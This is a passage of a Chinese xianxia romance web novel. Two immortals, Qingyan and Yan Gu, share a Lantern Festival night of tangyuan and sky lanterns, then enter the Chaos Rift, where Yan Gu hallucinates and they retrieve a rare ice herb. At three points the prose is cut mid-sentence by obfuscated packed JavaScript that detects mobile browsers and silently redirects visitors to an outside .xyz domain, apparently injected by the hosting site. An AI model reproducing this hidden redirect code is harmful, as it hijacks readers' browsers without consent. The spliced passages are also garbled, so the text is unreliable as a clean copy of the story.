他眨巴了好几下眼睛才想出一个自认为符合的词:“……那么奇特,就算我父尊亲自来找你,你也能几句话把他噎回去,让他再也不想管我这档子事……” 青晏忽然转头看向颜故:“我性子很奇特吗?” “当然不,”颜故道,“不过我倒觉得,被魔族认为不好相处才是件好事。” “哎呀,是我说错话了,神仙姐姐——或者妹妹,什么都行,你性子一点都不古怪,心地还特别善良,你就发发善心,帮帮忙吧……”沉乾苦口婆心地劝着。 青晏的脚步忽然停了下来。 “你确实说错话了,”她站在血雾虚渊的出口前,漫不经心地回头对着他一扫,“我心地一点都不善良。” 紧接着她便向前一迈,身影如烟般消散在血雾虚渊的出口。沉乾张了张嘴,那句“喂”还卡在喉咙里,颜故便也站至青晏方才站过的那个地方,唇角略微扬起,竟是一个看起来有点像微笑的弧度。 如果他的眼神不那么幽深的话。 沉乾被他的神情弄得心里发毛,却又觉得那勉强算是个笑容,于是硬着头皮开口:“你是打算告诉我刚才那位女神仙的名号吗?” “不是,”颜故微微歪了歪头,“只是想给你出个更好的主意。” 沉乾眼中一亮。 颜故语速平缓,声音沉稳:“我也是和你们魔界素有深仇的神仙,我也长得好看,更妙的是,我还是个男人。你去和你父尊说你喜欢的人是我,保证你这么说了之后,你父尊再也不会给你继续张罗亲事了,此计如何?” 说完,他也不等沉乾反应,身形一闪,便如青晏一般消失不见。沉乾愣在原地,半晌才回过神来,气得跳脚大骂:“还说我有病?到底是谁有病?!” ------ 颜故刚一出血雾虚渊便接到青晏的传念,要他前往东三百里的方向汇合。他本以为是青晏通过元泽给的草根感受到了冰澜草的气息,然而等他赶到时却发现,这里竟是一个热闹非凡的人界小镇。 街道两旁此时正张灯结彩,无数红彤彤的灯笼高高挂起,点亮了整片夜空。各式各样的摊位一字排开,空气中弥漫着糖炒栗子和烤红薯的香味,煮着汤圆的锅里飘出氤氲甜香水雾,扑得他一时有些恍惚。 “真没想到,血雾虚渊里的时间过得要比外面快这么多,”青晏感慨的声音从他身后传来,“今日竟已是上元节了。” 颜故回过头,看见青晏正站在一个卖花灯的摊位前,隔着一盏莲花灯在看他。暖黄的灯光从灯罩中透出来,温柔地洒在她的身上,将青晏整个人都衬得极为柔和。那卖灯的小摊上其实花里胡哨地摆着许多其他花灯,但不知怎的,颜故却只看得见那一盏静静发着光的莲花灯,以及灯下那张万分熟悉的脸。 他不由自主地朝她走去:“仙子怎么走得这样远?是为了躲那沉乾,所以特意选了这气息繁杂的人界小镇吗?” 青晏耸耸肩:“虽然我确实理解不了他的行为,但来这儿倒也不是为了躲他。”她的目光扫过周围热闹的街市,声音里带着一丝难得的轻松,“这段时日总是绷得太紧,方才在血雾虚渊里又消耗了不少灵力,是时候该好好休整一下了。” 她朝那些热气腾腾的摊位扬了扬头:“你之前总说自己对食物没什么追求,吃什么都一样,那么我今天就势必要用这些小摊子找出你喜欢吃的东西,最起码,也得找到你喜欢吃的口味。” 颜故微微一怔,还没来得及回应,就已经被青晏带至第一个摊位前。她指着锅里那些上下翻滚着的白胖汤圆:“我已经看过一圈,这镇上数这个摊位卖的口味最稀奇。我们一样买两个试试,要是遇见你爱吃的,就多买点带回去。” “别这样,仙子。”颜故声音低得几乎淹没在周围的喧闹里。 青晏没听清,转过头疑惑地看着他:“你说什么?” 颜故喉咙有些发 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14959511|148307||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 紧。 他偏头避开青晏的目光,哑着嗓子道:“没什么。我是说……挺好的。” 青晏显然不信:“你刚才的表情可算不上‘挺好的’。到底怎么了,是不是方才受伤了?”她说着,伸手就要去探他的额头。 颜故却在这时忽然转过头,有意无意地避开了她的手。他的目光落在摊位上写着各种口味的小牌子上,语气平静:“我只是看到了红枣口味的汤圆,觉得会太过甜腻,心生抵触而已,没有受伤。” 青晏闻言满意地点点头:“很好,刚一开始便找到了一个你不爱吃的口味,进展神速,看来今晚定然收获颇丰。” 颜故也跟着笑了笑,没再多说什么,听话地在摊位上选了约十种口味各异的汤圆。不多时,手脚麻利的摊主已经将汤圆煮好,颜故接过那两只热气腾腾的青瓷碗,随青晏走到附近一张矮桌旁坐下。 桌子和配套的椅子都有些矮,就连青晏坐着都有些局促,更别提比她还高出一头的颜故。可他却只是默默坐在那里,垂头舀起碗中的汤圆,神情专注。 “蟹黄馅的,还不错。”他细细品味着口中的味道,“我还是第一次吃咸鲜味道的汤圆。” 青晏指了指他碗中一颗绿色的汤圆:“那你再试试那个,是艾草渍肉,也是咸的。” 颜故咬了一口,眉头微微皱起:“这个……不喜欢。可能是有点油。” “所以你不喜欢过甜腻和过油腻……总得来说,不喜欢腻。”青晏舀起一颗汤圆放进自己口中。 红糖的甜味在舌尖化开,浓郁得让她微微蹙眉:“那你肯定不喜欢我现在吃的这个红糖的,超甜。” 颜故闻言,低头看了看自己碗中那颗同样口味的汤圆,隔着白软糯皮透出的淡淡红糖色泽在瓷碗中显得格外诱人。 “那不一定,仙子,”他慢慢咀嚼了片刻,然后低声道,“我喜欢的。” “啊?”青晏有些惊讶,“我都觉得甜得有点受不了,最多吃得下一个……” “可能是和仙子在一起的时间久了,口味有些同化了吧。”颜故垂眸望着碗中冉冉升起的白雾,声音也仿佛被这雾气浸染,“我现在好像……不太吃得下苦了。” “此话从何而来?我看你方才在血雾虚渊里还是很能吃苦的。那些我看了都眼睛疼的丑东西,你看了不是也没什么反应么?” 颜故看着正低头舀起碗中汤圆的青晏,眼中似有千言万语,最终却也只是苦涩地笑了笑,随即在青晏抬起头的前一瞬恢复成云淡风轻的模样:“在吃东西时说这些,仙子就不怕一会儿自己不舒服么?” 青晏被他这么一点,脑海中立即浮现出血雾虚渊里那些东西的恶心模样,随即浑身一毛,不再言语。 颜故见状轻笑一声,继续沉默着一个接一个地品鉴着碗中的汤圆。兴许是接连几个都不太符合他的口味,他很久都没有说话,只是对着快要空掉的碗,无意识地戳着最后两个的汤圆的糯皮。 半晌后他才抬起头,状作不经意般开口道:“方才沉乾问的那个问题,仙子想过吗?” 72.向往 “成亲?”青晏摇摇头,“从来没有。” “为什么呢?” “这有什么为什么,”青晏失笑,“是什么天大的好事不成,非要我想着?” 颜故也跟着笑,只是指尖不停摩挲着瓷勺的边缘:“我只是觉得,澈樾神君既在姻缘殿当值,想来应该和仙子说过不少人间的爱情佳话;而仙姬平日里又爱看话本、爱听戏,若是看见有趣的,想必也会和仙子聊一聊来龙去脉。一件事听多了、看多了,难免自己也会心生向往,不是吗?” 青晏吹了吹碗里蒸腾上来的热气,随意道:“澈樾很少和我讲什么佳话,特别离奇的姻缘倒是会和我讲讲;至于明煦,她只会和我说‘信我,这个真的特别好看,快去看吧!’,然后过几天自己就把这件事给忘了,所以你的这两个猜测都不成立。再说了,成亲这种事,有什么好值得心生向往的呢?” 颜故捏住瓷勺的手微微一顿,细细的脆击声当即在碗沿响起。他沉默了片刻,试探着看向青晏:“有一个人和自己心意相通,长相厮守,见之心生欢喜……不值得向往吗?” 青晏抬起眼认真地想了想:“唔……可你说的这些,朋友之间也都符合啊。有默契、总见面,看见也会很开心。” 颜故一时无言,手中勺子在碗里戳弄的速度更快了,糯白的汤圆皮在他的动作下逐渐变得更加脆弱。半晌,他抿了抿唇,还是不死心道:“可是……爱人和朋友,总归还是不一样的吧?” “爱人……会让人觉得,只要有她在身边,哪怕天塌下来,心里也是安稳的;哪怕只是做些再平常不过的小事,也会觉得有趣;若是见不到她,心里就像缺了一块,七上八下地惦念着,也会总想着挖空心思地对她好,想看她笑,想让她高兴……” 他的声音逐渐低了下去,紧捏勺柄的指节微微发白。 青晏“嗯”了一声,算是认同:“若是从这些方面来说,那当然不一样。但这种情感并不是所有人都觉得非有不可的,很多人都是看机缘罢了。若是有,那当然很好;若是没有,也不会特意去找。” 她转过头看向不远处的河流。无数花灯正飘曳其上,随着水流的方向缓缓前行。 青晏的目光随着那些闪烁的光点移动,慢慢道:“更何况,很多感情和那些写着‘永结同心’的河灯一样,一开始竹骨纸皮、洒金描花,看着都极为轻巧漂亮,然而不出几日便会被泡烂在淤泥里,变得面目全非,看着令人生厌。倒不如用那些时间和精力,去做些别的更有意思的事情好。” 颜故的呼吸蓦地窒住了。 他一个不留神,那本就脆弱不堪的汤圆皮终于承受不住,彻底破碎开来。糖馅丝丝缕缕地渗入汤中,将那原本清澈的汤水染得浑浊不堪。 颜故盯着碗中那一片狼藉,喉咙里像是堵着什么,哽得他几乎说不出话来。过了好一会儿,他才重新找到自己的声音,故作轻松道:“所以……仙子即便哪一天真的动了心,也只会想要一个纯洁无瑕、没有任何阴暗污糟的人,然后和他展开一段可以被所有人奉为佳话的完美感情,是吗?” 青晏摇摇头:“怎么可能,世界上没有完美无暇的人,谁都会有缺点。” “那……仙子喜欢什么样的人?”他仍垂眼望着一片斑驳的汤水。 “我还没有想过。” “能不能现在想一想?”颜故抬眼,声音里带着一丝几不可察的急切,“都说是散心了,想些平日里不会想的东西,应该对放松身心很有效果。” 青晏抚了抚额角,随口道:“那最起码……得是个好人吧?” “好人……”颜故近乎无声地重复着这两个字,“得是个好人……” 他放在桌下的那只手慢慢攥了起来,然而面上却依旧神态自然地含笑调侃道:“原来仙子的要求这么简单,那世间岂不是有很多符合的人了?” 青晏轻哼一声:“想多了。哪有那么多好人,很多人只是没那么坏而已。” “那我在仙子眼里,是个好人吗?”颜故仍言笑晏晏着发问,只是指尖在掌心里陷得越来越深。 “你?”青晏打量了他几眼,随即发出一声意味不明的轻笑,“你是个坏蛋。” 颜故瞳孔倏地放大。 他张了张嘴,眸光剧烈闪动了一瞬,随即垂下睫毛掩住这份情绪,声音里故意添了几分委屈:“仙子怎么这样说?” “要吃就好好吃,不吃停下便是,瞧你把好好的汤圆戳成什么样子,”青晏笑着指了指他的碗,“还说不是小坏蛋?” 微凉夜风吹过,将他陡然升起的剧烈心跳稍稍平复。颜故忽地笑了笑,随即端起碗来将剩余的汤汁一饮而尽。过于浓郁的甜味在他舌尖炸开,刺激得几乎让人窒息,然而这味道蔓延至舌根时却化作了一股难以言喻的苦涩,顺着他的喉咙缓缓向下坠去。 他放下碗,弯着一双好看的笑眼看向青晏:“怎么样仙子,我现在是好人了吗?” 青晏被他这副模样逗笑了:“是是是,大好人。”她看了看颜故那只已经彻底空掉的瓷碗,正色道,“那么请问这位大好人,选出自己最喜欢的口味了吗?” 颜故脑海中闪过方才青晏品尝每一种汤圆时的神情。 仔细审度了片刻后,他唇角微扬,带着一丝狡黠的自信:“我最喜欢玫瑰馅的。这家的玫瑰馅汤圆里面点缀了桂花,两种香气混合在一起,要比我之前单独吃这两种花馅的其他食物来得都好吃。” “哎?”青晏惊喜道,“你竟也最喜欢这个?” 随即她便感觉到一丝隐隐的不对劲。 青晏眯起眼来,语气中夹杂着几分怀疑:“你该不会是……看我喜欢吃哪个便故意说的这个吧?” “怎么会呢?”颜故睁大他那无辜的双眼,“我可是一直都在认真低头吃自己碗里的东西,仙子可有见到我一直盯着你吗?” 那好像……倒也没有。 青晏眨了眨眼,决定暂且还是放他一马,说不准人家确实爱吃这口呢?毕竟是连千嘉所酿之物都能扛得住的神级味觉,爱吃什么都是理所应当的。 两人的身影在灯火辉煌的街市间不断穿梭。 无论是什么样的吃食,颜故都能一脸淡然地送入口中,细细品味后给出或好或坏的点评,就连挂着“全镇最辣”木牌的麻辣灌肺,他都能面不改色地吃进一整碗,然而在下一家肉脯的店面中,他却又能精准地品出不同火候和木头烤熟的肉脯之间那极为细微的差别,仿佛刚才那些辣椒对他的味觉没有丝毫影响。 街道两旁的摊位和铺子基本上都被他们逛了个遍,各色食物也都随着青晏的玄元镜一点点被送入了玄镜宫中:蜜渍金橘、乳糖圆子、炸油糕、慢火熏干的肉脯、沾满辣椒的干肠……当然,还有一大包玫瑰桂花汤圆。 “明煦他们都吃疯了,如今正嚷嚷着让厨房把那些汤圆炸了来吃,”青晏停下传念,笑着回头看向颜故,“看来你的口味颇受好评。” “喜欢便好,”颜故的目光落在青晏的脸上,“那仙子呢,你也喜欢吗?” “当然,你品味很不错。”青晏愉快道。 忽然,一点暖黄的光亮从颜故背后悄然升起,紧接着,第二点、第三点……更多的亮光缓缓腾空而上,摇曳着,闪烁着,带着墨迹未干的祝愿,缓缓升向天际。 是祈天灯。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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青晏早已写完自己的灯面,回头见颜故仍握着笔怔怔出神,不禁笑道:“究竟是什么天大的愿望,要你想这么久?” 颜故索性放下笔,朝青晏的天灯凑了过去:“你写了什么?” 青晏旋转着灯面给他看。暖黄的火光透过纸面,映出她端庄流畅的字迹:“就很普通的,岁岁常安、吉祥如意之类的话。”她瞧着颜故那仍一脸严肃的神情,不禁无奈道:“你不会真有什么愿望,想要靠这祈天灯来实现吧?” 颜故迅速道:“没有。只是……只是第一次放灯,难免慎重了些。” 他说完重新执笔,笔尖在灯面上飞快游走,遒劲有力的字迹顷刻间布满了纸面。青晏见他背对着自己写写画画,心中愈发好奇,忍不住侧身探头去看。 颜故察觉到她的动作,反而大大方方地将灯送到她面前。他捏着灯的边缘,眉眼间满是孩子般的期待,像是在等待夸奖般地问道:“如何?” 青晏垂眸看了一眼颜故写的愿望,随即神色古怪地抬起头来看着他,眉毛挑得高高的:“枝繁叶茂……?” “当然,”颜故挺直了腰板,又将那天灯往她面前送了送,语气里带着几分理所当然,“毕竟,我们都在等一株草,不是吗?” 青晏费了好半天劲才把那句“这愿望是该这么写的吗”咽了下去。她朝颜故干笑了两声,转身轻轻托起自己的天灯,看着它缓缓升向夜空。 颜故松开手指,方才被紧紧捏住的天灯边缘露出一行细细的小字。 他晦暗不明地看着那被火光映得忽明忽暗的沉重愿望,随即扬起手,看着那盏寄托了自己隐秘心事的祈天灯混入漫天的灯火里,朝着无垠的夜空飘去。 73.碎裂 极夜荒原深处。 漫天砂砾被呼啸寒风卷起,劈头盖脸地朝着青晏和颜故的面门扑来。青晏身形微动,其中一颗较大的砂砾擦着她的耳畔掠过,一路翻滚着坠向前方的断崖。 那砂砾在空中翻滚着,掠过无数和它长得无甚差别的兄弟姐妹,直到它接触到那片光怪陆离、时隐时现的扭曲裂隙。 它就这么在崖上那两人向下凝望着的眸中消失。 青晏蹙眉望着崖下那道泛着诡异光芒的裂缝:“这混沌裂谷比我想象中还要不稳定,竟然连入口都会随时隐匿起来。” 她琢磨了片刻,抬手一挥,玄元镜自她背后升起,清冷镜光一闪,两道极淡的身影从镜中分离而出,正是她与颜故的模样。 “我把我们的本魂各留了一缕在混沌裂谷外,你没有意见吧?”青晏转头看向颜故,“万一里面真有什么东西将我们完全困住,外面这缕本魂说不定就是能救我们自己出来的那根救命稻草。” 颜故笑靥温润如春:“不愧是仙子,什么时候都思虑周全。” 青晏将那两缕本魂隐入一旁深深扎入地底的巨石中,无奈道:“又在这见缝插针地夸上了。” 她又从玄元镜中取出一块石头。那石头上毫无任何花纹,看起来要多普通就有多普通,然而周身的颜色却黑得离奇,好像连周围的光线都能被它吞噬,连带着青晏拿着它的那只手的肤色都显得黯淡了不少。 “这是定天石,”青晏解释道,“我等下会试试能否用它暂时压制混沌裂谷的入口,让它维持开启的状态。我怕若我们出来时入口是关闭着的,那在等待它重新开启这段时间里说不准又要遇上什么风险。” 她将定天石抛向空中,深灰色光芒如流水般倾泻而下,笼罩在不断闪烁着的裂隙上。那本在不断扭动着的裂隙立即像是被一股无形的力量压住一般逐渐稳定下来,化作一道持续张开的裂口。无边的黑暗蕴藏其中,像是两排狰狞歪曲的牙,随时撕碎胆敢踏入之人。 “等下若有任何异样,千万不可逞强,务必在第一时间告诉我,明白吗?”青晏侧目看向颜故。 见他乖乖点头,她深吸一口气,轻喝一声“走!”便纵身跃入裂隙。颜故紧随其后,两道身影瞬间被那幽深的裂隙吞没,消失在极夜荒原的凛冽寒风中。 青晏的双脚刚一落地,一股刺骨的寒意便从她的脚底直窜上来。她稳了稳心神,抬头望去,却见头顶的天空并非像极夜荒原那般灰蒙蒙的,而是呈现出一种令人心悸的黑红,仿佛被常年鲜血浸染,压抑得让人喘不过气来。 而四周的景象则更是诡异。明明没有和血雾虚渊里一般的浓雾,可视线所及之处却一片模糊,整个世界似乎都被一层无形的屏障笼罩着,让人只能看清脚下两三步的范围。而更远处的东西无论她怎么凝神细看都朦朦胧胧,看不真切。 她握紧手中的冰澜草根,慎而又慎地向前迈出一步,然而脚下的地面竟忽地塌陷下去,露出一个和他们进来时一模一样,只是小上许多的裂隙。 青晏心头一紧。 难不成这混沌裂谷里竟然还有另外一个混沌裂谷?方才若是一脚踏中,自己又会去到什么地方? 她定了定心神,这才后知后觉地反应过来自己胳膊上传来一丝轻微的痛感。她顺着传来疼痛的地方看去,颜故的手正死死箍着她的手臂,力度大得连他自己的指尖都泛了白。 见她的目光落了下来,颜故立即像是被火烫了一样松开手,声音里带着几分罕见的慌乱:“我只是……只是……” “只是怕我掉下去,我明白。”青晏温声道,“无妨。” 她继续专注感应着冰澜草根的寒意,可被迅速翻过这一页的颜故却忽然抿了抿唇,整个人莫名地看起来不太愉快。 片刻后他双指一竖,身形缓缓离地悬于地面一寸处,对青晏道:“此地诡异,不如我们悬空而行,仙子以为如何?” 青晏略一思索,随即点头:“虽说这里的一切都不能以常理揣度,但此法倒也稳妥。” 话音刚落,她身形如稚羽般轻盈浮起,与颜故两人一前一后,朝着冰澜草根指引的方向缓缓前行。一路上,他们脚下的地面不断变幻着形态,时而柔软如泥,时而长满尖刺,甚至还有无数焦黑枯瘦的手从地底突兀伸出,疯狂抓挠,像是要将他们也拖入那可怖的深渊之中。 青晏起初还能从容应对,可越往前走,她越觉得一股莫名的沉重感自四肢百骸上慢慢袭来。明明法力运转一切如常,可她前进的速度却越来越慢,仿佛每一步都踩在泥沼之中,举步维艰。 终于,她的身形完全停滞在半空中,再也无法前进分毫。青晏赶紧再度运转起自己的法力试图重新前行,可下一瞬,她的脸色骤然一变。 她竟想不起来这踏空而行的法术该如何施展了。 青晏摇了摇头,试图驱散脑中那片蒙在她记忆上的薄雾,可越是努力,她的意识反而越加模糊。她缓缓眨了眨眼,过了好一会儿才想起检查身边颜故的情况,可一见到他的模样心就猛地沉了下去。 颜故脸上血色尽褪,额角青筋暴起,往日里那双总是盈着满满笑意的桃花眼此刻却布满血丝,目眦欲裂般地瞪着前方。他的嘴唇剧烈颤抖,口中不断发出低哑的嘶吼,然而明明近在咫尺,青晏的耳朵却像灌满了水般听不清他在喊些什么,只能断断续续地捕捉到几个破碎的字眼。 “……骗子!!!” “……潜藏……背叛!!!” 他的胸口剧烈起伏,眼底明晃晃地翻涌着滔天恨意与浓稠得化不开的痛楚。忽然,不知像看见了什么,他猛地挥拳狠狠砸向面前的虚空,像是要将什么透明的屏障狠狠击碎。 青晏连忙伸手扣住他的手腕,试图唤回他的意识,可手指刚一触及他的皮肤,一股彻骨的寒意就顺着她的指尖迅速蔓延开来,刺得她连掌心都跟着发痛。四周的温度急剧下降,就连空中漂浮着的尘埃都被冻结成细小的冰晶,扑簌簌地颤动着坠落。 她丝毫顾不上周遭饱含着杀机的寒冷,手指用力捏紧他的腕骨,试图用这份疼痛将他的意识拉回:“颜故,颜故!你怎么了?快醒醒!” 可颜故却浑然不觉,只是一味地对着前方嘶喊、捶打。他弓着身,整个人的姿态浸满了痛苦,仿佛是有什么东西在将他的灵魂一点点翻搅,碾碎。 泪水顺着他的脸颊滑落,滴在青晏的袖口后迅速晕开一片湿痕,明明没有接触到自己的皮肤,可青晏却莫名觉得那滴泪的冰凉刺骨已经钻入了自己心里,正四处泼洒着他的悲恸与绝望。 清心咒,清心咒…… 青晏指尖凝聚起法力,试图用清心咒唤醒他的神志,可她的脑海中却依然一片混沌,无论如何都想不起这术法该怎么施展。颜故的嘶吼声逐渐低了下去,取而代之的是一种迷茫又压抑的呜咽,听得青晏心乱如麻。 她从未见过颜故如此崩溃、失控、无力的脆弱模样,就好像终于有什么东西以雷霆之力击碎了他完美的外壳,露出内里终年不愈的,血淋淋的伤口。 既然想不起来任何咒法,青晏干脆转至他的正前方 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14986122|148307||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,将手中冰澜草根贴上颜故的额头,希望可以用这彻骨的寒凉唤醒他,可依旧没有任何作用。 青晏正急得不知如何是好,颜故的动作却忽然滞了滞。渐渐地,他的拳头缓缓松开,眼中的血丝也略略褪去。他向前凑了凑,脸几乎贴到了青晏面前,目光不断在她脸上游移,似乎在仔细分辨着她到底是谁。 几个眨眼后,他终于一张一合地开了口。青晏虽仍听不清他究竟在说些什么,但看其口型像是在说“仙子”,便赶紧应道:“是我,是我。你怎么了?是不是产生什么幻觉了?” 颜故垂下头,似乎说了好长的一串话,可听不清也看不见他口型的青晏根本无从得知他究竟说了些什么。她伸手想去扶正他的头,然而指尖刚触到他的耳畔便被颜故猛地甩开,连带着他整个人也飞速向后退去,盯着她剧烈喘息。 青晏指了指自己的耳朵:“我现在听不太清,你那样低头我不知道你在说什么。你到底怎么了?” 颜故盯着她看了许久呼吸才渐渐平复下来。他伸手在地上写下一行字:“为什么听不清?” “不知道,应该是受了混沌裂谷的影响。而且我记忆出了问题,现在什么法术都想不起来该怎么用,不然刚刚早就用清心咒帮你了。你方才是不是陷入什么幻境?看见了什么?” 颜故没有回答。 他就那么笔直地立在原地,像是一把出鞘的利刃般,透着锋利的冷光。青晏目不转睛地看着面前这张极为熟悉的脸,恍然间才发现,原来这张脸在褪去那些仿佛与生俱来的温和笑意之后,竟是这般沉冷到不可接近的凌厉模样。 过了片刻,颜故才缓缓走回来,蹲在她面前,伸手捂住她的耳朵。极为冰凉的触感让青晏不禁微微一颤。可下一瞬,那种耳朵被灌满了水、听什么都模糊不清的感觉消失了。 她听见颜故微微沙哑的声音:“是幻觉。” “我看见……天界有潜藏多年的魔界卧底,在对天界不利。”他的声音愈发低哑,“可我却什么都做不了,只能眼睁睁地看着他害死我在意的人。” 青晏眉尖微微蹙起:“你在意的人……是谁?” 颜故深深地望着她,唇边笑意淡得几乎看不见:“你觉得会是谁呢,仙子?你觉得……会是谁?” 言毕他便站了起来,像是根本不需要这个问题的答案一般转过身去,平静道:“我的记忆没有受损,仙子想要什么法术,我来施展便是。” “现在只要离开便好。” 颜故将他们二人的身形重新托离地面,朝着冰澜草根指引的方向前行。随着他们的逐渐远离,青晏终于感觉自己脑中那片遮挡记忆的薄雾渐渐散去,诸多法术如潮水般涌回她的脑海。 如此看来,应是方才那片区域会对不同的人施加不同的精神影响。自己是记忆和听力的缺失,而颜故则是因为渡生藤的事一直在担忧潜藏在天界的卧底,这才陷入了与之相关的幻觉中。 所以,此前自己所读到的典籍里,那些无一重复的关于混沌裂谷的传言,应该就是这么来的。此地不仅能毫无声息地让人中招,就连每个人的遭遇都大不相同。若是没有颜故坚持与自己同行,那么在记忆受到重创的情况下,自己说不准会遇到更大的危险,就连离开可能都要命悬一线。 可除了身体和精神的双重不适外,颜故又能得到什么呢?他为什么……总是如此坚持要和自己一起冒险呢? 青晏侧过头,看着身旁那个已然恢复成平日里那副温和沉静模样的颜故,第一次开始认真思考起这个问题。 74.沉思 又过了大约一炷香的时间,冰澜草根的寒意愈发浓重,冷到连青晏的手心都有些受不住。她刚将它换至另一只手里,那草根就被两只骨节分明的手指轻轻夹走。 “我来,我不怕冷。”颜故的声音低沉而平静。 他将那草根握至自己掌心,指尖微微收紧:“向南。” 青晏没有出声,只是安静地朝南拐去。 她的心思仍停留在方才那个问题上。 虽说自己之前从未带过新晋仙使,但这并不代表她没听说过别人的仙使大概是什么模样。颜故初时的周到体贴,尚可以用他积极向上、想要博个好前程来解释,可如今他的种种举动,却早已超出了这个范畴。 无论是多么危险的地方,他都执意要跟随;就算被自己怀疑了身份,也忍着痛楚耐心解释;还总是执着地想要成为备受自己信任之人,又时不时地会对宸景和澈樾流露出奇怪的锐利,更别提那些拐弯抹角的试探,问她喜欢什么样的人,是否想过成亲,方才还用那样暧昧的语气问她,觉得他在意的人会是谁…… 青晏的脑海中忽然闪过一个念头——这人该不会是喜欢我吧? 这个想法刚一浮现,她便立刻自我审视起来。 青晏啊青晏,你不能因为自己确实很受欢迎,就习惯性地认为颜故和那些光是见了你一面便对你表达强烈爱意的人一样。这么长时间相处下来你还没感觉到吗?他就是一个做什么都力求完美,事事冲在前方,极为努力认真的人罢了。以上那些举动,其实也可以用他很想迅速成为天界栋梁来解释的。 就算有一些行为确实不太符合常理,那也有可能是因为他此前一直埋头修行,未曾想过那些旖旎心事,听见别人提起后心中迷茫,想向身边关系最好的前辈请教一番而已。 毕竟他已经没了师父,不问自己,还能问谁呢? 不过即便如此,自己毕竟是他的前辈,理应做到正确引导。所以从即刻起,需要谨慎再谨慎,认真审视自己的一举一动,万万不可再有任何可以被算作是“亲昵”的行为。 青晏在心中暗自下了决定。 于是乎,在接下来的时间里,青晏刻意控制着自己与颜故的距离,就算是在与偶然撞见的,能吞噬一切神魂的混沌禁灵缠斗时,她也始终与他保持至少一步之遥。 颜故很快便觉察到了这份异样。 他唇角微微抿紧,眸中似有暗流涌动。片刻后,他像是踩到了松软的地面般向青晏的方向歪了歪身子,紧接着脸色迅速沉了下来。 因为青晏也非常自然地向外迈了一步,将他们二人之间的距离重新拉远。 “仙子,”他故意低下头与她搭话,“冰澜草根的寒意一直这么重吗?” 颜故微微沙哑的声音轻飘飘地落下,打着旋地钻进她耳朵里,惹得青晏耳根有些发痒。她不自觉地缩了缩脖子,脚步下意识地又向外挪了半步:“之前倒是还好,如今确实有些过了。” “哦?”颜故身子俯得更低了,“怎么个过了法呢?” “不知为何,让人有些受不住了,不太想继续拿在手心里,”青晏用余光瞥了他一眼,“我也不清楚这样是好是坏。” “但我倒没觉得有什么变化啊。”颜故语调幽幽。 他朝她摊开掌心:“你瞧,分明还和从前一样,还是那么兢兢业业,持续为仙子尽心尽力呢。” 青晏目光落在他掌心里一瞬,随即转过头去:“是,我很感谢,可它也有它需要做的事情。待此事了结后,我便会将这冰澜草根还回它该在的地方,总不能这么一直耽误着,让它没办法发挥自己该发挥的作用。” “为仙子找寻冰澜草,不就是它应该发挥的作用?”颜故语气温和,甚至还带着一丝丝的诱哄,“仙子又怎么知道,它不是甘之如饴呢?” “它或许还没想明白,”青晏平静道,“但我却不能不清楚。” 颜故眸色微微一暗。 他将冰澜草根重新握回手心里,轻声道:“分得这样清楚啊仙子,说不定……它会伤心的。” 青晏依旧道:“一时伤心,总好过局限在错误的地方打转。” 颜故没再说话,只是默默地继续前行。 忽然,他的唇角微微扬起,声音如水般温润:“可是仙子,”颜故伸手一指,“我们来对地方了。” 青晏顺着他手指的方向望去,只见前方不远处,一株约有三四指高的冰蓝药草正在微弱的光线下,静静闪烁着冷冽的光芒。整整十片结着重重白霜的叶子螺旋状地向上伸展,在一片寒雾中轻轻颤抖,美得令人窒息。 青晏欣喜得都快说不出话了。 十片,十片叶子!!!这就是完全长成的冰澜草!初三有救了! 她定了定心神,飞快地在脑海中过了一遍元泽教给她的将冰澜草正确拔出及保存的办法,慢慢地向那株倾注了她所有希望的小草走去。 冰澜草的根系极为脆弱,切莫不可使用蛮力…… 青晏缓缓蹲下,指尖微微用力,小心翼翼地拨开冰澜草周围那些冷硬的土壤。她一点一点地拨弄着,冰澜草纤细如发的根系随着她的动作逐渐显露出来,每一道根须都细嫩得仿佛一碰就碎。 时间一点一滴地流逝,她的额头也细细地渗出一层薄汗,然而青晏手指的动作却没有丝毫停顿,依旧耐心地松动着冰澜草的根系。 就在这时,一片干燥温暖的衣料按上了她的额间,轻柔无比地为她带走了那些微凉的水珠。青晏微微一怔,却并没有抬头,依旧继续专注地拨弄着那些冰土。 她不能有回应。 然而颜故看起来却并不在意她的无动于衷。他也跟着蹲了下来,将一块柔软的丝绸捧在手心里,目光专注地看着她。 很快,冰澜草的根系完全暴露在空中。青晏轻轻捏住冰澜草那冰晶般剔透的茎秆,稍一用力便将其从土壤中拔出,然后慢慢裹进颜故掌心的丝绸里。 “成了,”她低声喃喃,“终于成了。” 青晏从颜故手中接过那块包裹着冰澜草的丝绸,如释重负地长舒了一口气。 她抬头看向颜故,露出了这么多天以来最舒心的一个笑容:“走吧,是时候好好歇一歇了。” 颜故弯起眼睛:“不愧是仙子,每做完一件事后第一时间想到的便是歇一歇。” 